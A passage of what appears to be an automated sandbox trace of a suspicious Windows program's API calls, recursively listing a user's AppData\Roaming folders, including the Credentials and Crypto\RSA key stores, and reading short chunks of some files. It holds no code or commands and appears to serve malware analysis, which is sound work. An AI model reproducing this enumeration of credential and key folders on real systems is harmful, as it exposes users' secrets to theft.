fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x600450 [0089.657] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0089.657] ReadFile (in: hFile=0x260, lpBuffer=0x18f510, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x18f510*, lpNumberOfBytesRead=0x18f4b4*=0x18, lpOverlapped=0x0) returned 1 [0089.657] CloseHandle (hObject=0x260) returned 1 [0089.658] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0089.658] ReadFile (in: hFile=0x260, lpBuffer=0x18f510, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x18f510*, lpNumberOfBytesRead=0x18f4b4*=0x18, lpOverlapped=0x0) returned 1 [0089.658] CloseHandle (hObject=0x260) returned 1 [0089.658] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x600450 [0089.659] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0089.659] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0089.659] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0089.659] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0089.659] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0089.660] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\P7Y3F7QB\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0089.660] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0089.661] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\P7Y3F7QB\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0089.661] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0089.662] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0089.662] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0089.662] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0089.662] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0089.662] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0089.662] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0089.664] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\*", fInfoLevelId=0x0, lpFindFileData=0x18e3cc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e3cc) returned 0x600590 [0089.664] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0089.665] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0089.665] ReadFile (in: hFile=0x278, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0089.666] CloseHandle (hObject=0x278) returned 1 [0089.666] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\*", fInfoLevelId=0x0, lpFindFileData=0x18e3cc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e3cc) returned 0x600590 [0089.666] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0089.668] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0089.669] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0089.670] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0089.671] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x600450 [0089.672] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x600450 [0089.672] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0089.672] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\AddIns\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0089.672] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0089.672] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\AddIns\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0089.672] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Credentials\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0089.673] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0089.673] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Credentials\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0089.673] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0089.673] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0089.673] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0089.673] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0089.674] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0089.675] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0089.676] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0089.678] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0089.679] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0089.680] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0089.680] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0089.680] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0089.680] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0089.681] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\14\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0089.681] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0089.682] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0089.682] ReadFile (in: hFile=0x26c, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0089.683] CloseHandle (hObject=0x26c) returned 1 [0089.683] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\14\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0089.683] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0089.684] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0089.685] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Excel\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0089.686] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0089.686] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0089.700] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0089.704] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0089.705] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Excel\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0089.705] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IME12\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0089.705] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0089.705] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IME12\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0089.705] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IMJP12\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0089.706] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0089.707] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IMJP12\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0089.707] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IMJP8_1\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0089.707] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0089.707] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IMJP8_1\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0089.707] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IMJP9_0\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0089.708] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0089.708] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IMJP9_0\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0089.708] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0089.708] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0089.708] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0089.708] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0089.709] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0089.709] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0089.710] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0089.710] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0089.712] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0089.712] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0089.712] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0089.712] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0089.714] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0089.715] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0089.715] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0089.716] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0089.716] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0089.716] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0089.716] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\65UX3YG0\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0089.717] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0089.718] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\65UX3YG0\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0089.719] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\AY721QDR\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0089.719] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0089.719] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\AY721QDR\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0089.719] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\DZBKZBIC\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0089.719] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0089.719] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\DZBKZBIC\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0089.719] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\VRLZOZ0E\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0089.720] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0089.720] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\VRLZOZ0E\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0089.721] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0089.722] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0089.724] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0089.725] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MMC\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0089.725] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0089.725] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MMC\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0089.725] FindFirstFileExW 